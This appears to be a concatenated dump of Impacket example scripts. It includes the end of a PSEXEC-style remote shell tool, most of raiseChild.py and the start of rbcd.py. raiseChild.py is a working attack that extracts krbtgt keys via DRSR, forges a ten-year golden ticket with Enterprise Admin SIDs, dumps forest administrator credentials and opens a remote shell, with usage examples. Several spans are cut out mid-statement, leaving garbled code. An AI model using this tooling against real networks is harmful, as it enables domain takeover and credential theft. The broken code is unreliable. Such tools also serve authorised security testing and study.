to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_lget(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.critical(str(e)) pass self.send_data('\r\n') def do_lput(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode(CODEC)+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, share=None): self.shell = None Pipes.__init__(self, transport, pipe, permisssions, share) def run(self): self.connectPipe() self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) self.shell.cmdloop() # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' 'the target (w/o path) - (default:cmd.exe)') parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' 'arguments are passed in the command option') parser.add_argument('-path', action='store', help='path of the command to execute') parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' 'again with -codec and the corresponding codec ' % CODEC) group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group.add_argument('-service-name', action='store', metavar="service_name", default = '', help='The name of the service' ' used to trigger the payload') group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will ' 'be the name of the executable uploaded on the target') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec else: if CODEC is None: CODEC = 'utf-8' if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) options.k = True if options.target_ip is None: options.target_ip = remoteName if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True command = ' '.join(options.command) if command == ' ': command = 'cmd.exe' executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name) executer.run(remoteName, options.target_ip) impacket-impacket_0_11_0/examples/raiseChild.py000077500000000000000000001710401446174712300216630ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script implements a child-domain to forest privilege escalation # as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will # be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented # by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz). # The idea of automating all these tasks came from @mubix. # # The workflow is as follows: # Input: # 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]' # The domain specified MUST be the domain FQDN. # 2) Optionally a pathname to save the generated golden ticket (-w switch) # 3) Optionally a target-user RID to get credentials (-targetRID switch) # Administrator by default. # 4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch). # Enterprise Admin by default. # # Process: # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) # 2) Find out what the forest FQDN is (via [MS-NRPC]) # 3) Get the forest's Enterprise Admin SID (via [MS-LSAT]) # 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array # and setting expiration 10 years from now # 6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default) # 7) If file was specified, save the golden ticket in ccache format # 8) If target was specified, a PSEXEC shell is launched # # Output: # 1) Target user credentials (Forest's krbtgt/admin credentials by default) # 2) A golden ticket saved in ccache for future fun and profit # 3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec # parameter. # # IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the # forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar # # E.G: # Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx): # A forest is the only component of the Active Directory logical structure that is a security boundary. # By contrast, a domain is not a security boundary because it is not possible for administrators from one domain # to prevent a malicious administrator from another domain within the forest from accessing data in their domain. # A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. # In addition, each domain has its own individual security policies and trust relationships with other domains. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import argparse import datetime import logging import random import string import sys import os import cmd import time from threading import Thread, Lock from binascii import unhexlify, hexlify from socket import gethostbyname from struct import unpack from six import PY3 try: import pyasn1 except ImportError: logging.critical('This module needs pyasn1 installed') logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') sys.exit(1) from impacket import version from impacket.krb5.types import Principal, KerberosTime from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.ntlm import LMOWFv1, NTOWFv1 from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO from impacket.dcerpc.v5 import transport, drsuapi, epm, samr from impacket.smbconnection import SessionError from impacket.nt_errors import STATUS_NO_LOGON_SERVERS from impacket.smbconnection import SMBConnection, smb from impacket.structure import Structure from impacket.examples import remcomsvc, serviceinstall ################################################################################ # HELPER FUNCTIONS ################################################################################ class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except Exception: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode('cp437')) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode('cp437')+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class RAISECHILD: def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''): self.__rid = 0 self.__targetRID = options.targetRID self.__target = target self.__kdcHost = None self.__command = command self.__writeTGT = options.w self.__domainSid = '' self.__doKerberos = options.k self.__drsr = None self.__ppartialAttrSet = None self.__creds = {} self.__creds['username'] = username self.__creds['password'] = password self.__creds['domain'] = domain self.__creds['lmhash'] = '' self.__creds['nthash'] = '' self.__creds['aesKey'] = options.aesKey self.__creds['TGT'] = None self.__creds['TGS'] = None #if options.dc_ip is not None: # self.__kdcHost = options.dc_ip #else: # self.__kdcHost = domain self.__kdcHost = None if options.hashes is not None: lmhash, nthash = options.hashes.split(':') self.__creds['lmhash'] = unhexlify(lmhash) self.__creds['nthash'] = unhexlify(nthash) # Transform IP addresses into FQDNs if self.__target is not None: self.__target = self.getDNSMachineName(self.__target) logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target)) NAME_TO_ATTRTYP = { 'objectSid': 0x90092, 'userPrincipalName': 0x90290, 'sAMAccountName': 0x900DD, 'unicodePwd': 0x9005A, 'dBCSPwd': 0x90037, 'supplementalCredentials': 0x9007D, } ATTRTYP_TO_ATTID = { 'objectSid': '1.2.840.113556.1.4.146', 'userPrincipalName': '1.2.840.113556.1.4.656', 'sAMAccountName': '1.2.840.113556.1.4.221', 'unicodePwd': '1.2.840.113556.1.4.90', 'dBCSPwd': '1.2.840.113556.1.4.55', 'supplementalCredentials': '1.2.840.113556.1.4.125', } KERBEROS_TYPE = { 1:'dec-cbc-crc', 3:'des-cbc-md5', 17:'aes128-cts-hmac-sha1-96', 18:'aes256-cts-hmac-sha1-96', 0xffffff74:'rc4_hmac', } HMAC_SHA1_96_AES256 = 0x10 def getChildInfo(self, creds): logging.debug('Calling NRPC DsrGetDcNameEx()') target = creds['domain'] if self.__doKerberos is True: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(target)) logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp)) else: machineNameOrIp = target stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) if self.__doKerberos or creds['aesKey'] is not None: rpctransport.set_kerberos(True) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) #resp.dump() return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1] @staticmethod def getMachineName(machineIP): try: s = SMBConnection(machineIP, machineIP) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN instead of IP address') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') else: raise except Exception: logging.debug('Error while anonymous logging into %s' % machineIP) else: s.logoff() return s.getServerName() @staticmethod def getDNSMachineName(machineIP): try: s = SMBConnection(machineIP, machineIP) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN instead of IP address.') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') else: raise except Exception: logging.debug('Error while anonymous logging into %s' % machineIP) else: s.logoff() return s.getServerName() + '.' + s.getServerDNSDomainName() def getParentSidAndTargetName(self, parentDC, creds, targetRID): if self.__doKerberos is True: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC)) logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp)) else: machineNameOrIp = gethostbyname(parentDC) logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) rpctransport.set_kerberos(self.__doKerberos) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() # Now that we have the Sid, let's get the Administrator's account name sids = list() sids.append(domainSid+'-'+targetRID) resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta) targetName = resp['TranslatedNames']['Names'][0]['Name'] return domainSid, targetName def __connectDrds(self, domainName, creds): if self.__doKerberos is True or creds['TGT'] is not None: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName)) logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp)) else: machineNameOrIp = gethostbyname(domainName) stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. if creds['TGT'] is not None: rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT']) rpc.set_kerberos(True) else: rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) rpc.set_kerberos(self.__doKerberos) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos or creds['TGT'] is not None: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = self.__drsr.request(request) # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again if logging.getLogger().level == logging.DEBUG: logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 'dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.__drsr.request(request) self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2) if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None): if self.__drsr is None: self.__connectDrds(target, creds) resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) return resp def __decryptSupplementalInfo(self, record, prefixTable=None): # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures plainText = None for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception as e: logging.debug('Failed to execute OidFromAttid with error %s' % e) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['supplementalCredentials']: if attr['AttrVal']['valCount'] > 0: blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob) if len(plainText) < 24: plainText = None if plainText: try: userProperties = samr.USER_PROPERTIES(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return propertiesData = userProperties['UserProperties'] for propertyCount in range(userProperties['PropertyCount']): userProperty = samr.USER_PROPERTY(propertiesData) propertiesData = propertiesData[len(userProperty):] if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = unhexlify(userProperty['PropertyValue']) kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) data = kerbStoredCredentialNew['Buffer'] for credential in range(kerbStoredCredentialNew['CredentialCount']): keyDataNew = samr.KERB_KEY_DATA_NEW(data) data = data[len(keyDataNew):] keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if keyDataNew['KeyType'] in self.KERBEROS_TYPE: # Give me only the AES256 if keyDataNew['KeyType'] == 18: return hexlify(keyValue) return None def __decryptHash(self, record, prefixTable=None): logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) rid = 0 LMHash = None NTHash = None for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception as e: logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['dBCSPwd']: if attr['AttrVal']['valCount'] > 0: encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd) else: LMHash = LMOWFv1('', '') elif attId == LOOKUP_TABLE['unicodePwd']: if attr['AttrVal']['valCount'] > 0: encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd) else: NTHash = NTOWFv1('', '') elif attId == LOOKUP_TABLE['objectSid']: if attr['AttrVal']['valCount'] > 0: objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) rid = unpack(' file') #parser.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter') parser.add_argument('-target-exec', action='store',metavar = "target address", help='Target host you want to PSEXEC ' 'against once the main attack finished') parser.add_argument('-targetRID', action='store', metavar = "RID", default='500', help='Target user RID you want to ' 'dump credentials. Administrator (500) by default.') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') if len(sys.argv)==1: parser.print_help() print("\nExamples: ") print("\tpython raiseChild.py childDomain.net/adminuser\n") print("\tthe password will be asked, or\n") print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n") print("\tor if you just have the hashes\n") print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n") print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin") print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n") print("\tThis will perform the attack and then psexec against target-exec as User with RID 1101") print("\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomainn.net/adminuser\n") print("\tThis will save the final goldenTicket generated in the ccache target file") print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) domain, username, password = parse_credentials(options.target) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if domain == '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True commands = 'cmd.exe' try: pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands) pacifier.exploit() except SessionError as e: logging.critical(str(e)) if e.getErrorCode() == STATUS_NO_LOGON_SERVERS: logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue') except Exception as e: logging.debug('Exception:', exc_info=True) logging.critical(str(e)) if hasattr(e, 'error_code'): if e.error_code == 0xc0000073: logging.info("Account not found in domain. (RID:%s)" % options.targetRID) impacket-impacket_0_11_0/examples/rbcd.py000077500000000000000000000553731446174712300205400ustar00rootroot00000000000000#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer # # Authors: # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) # # ToDo: # [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN import argparse import logging import sys import traceback import ldap3 import ssl import ldapdomaindump from binascii import unhexlify from ldap3.protocol.formatters.formatters import format_sid from impacket import version from impacket.examples import logger, utils from impacket.ldap import ldaptypes from impacket.smbconnection import SMBConnection from impacket.spnego import SPNEGO_NegTokenInit, TypesMech from ldap3.utils.conv import escape_filter_chars def get_machine_name(args, domain): if args.dc_ip is not None: s = SMBConnection(args.dc_ip, args.dc_ip) else: s = SMBConnection(domain, domain) try: s.login('', '') except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % domain) else: s.logoff() return s.getServerName() def 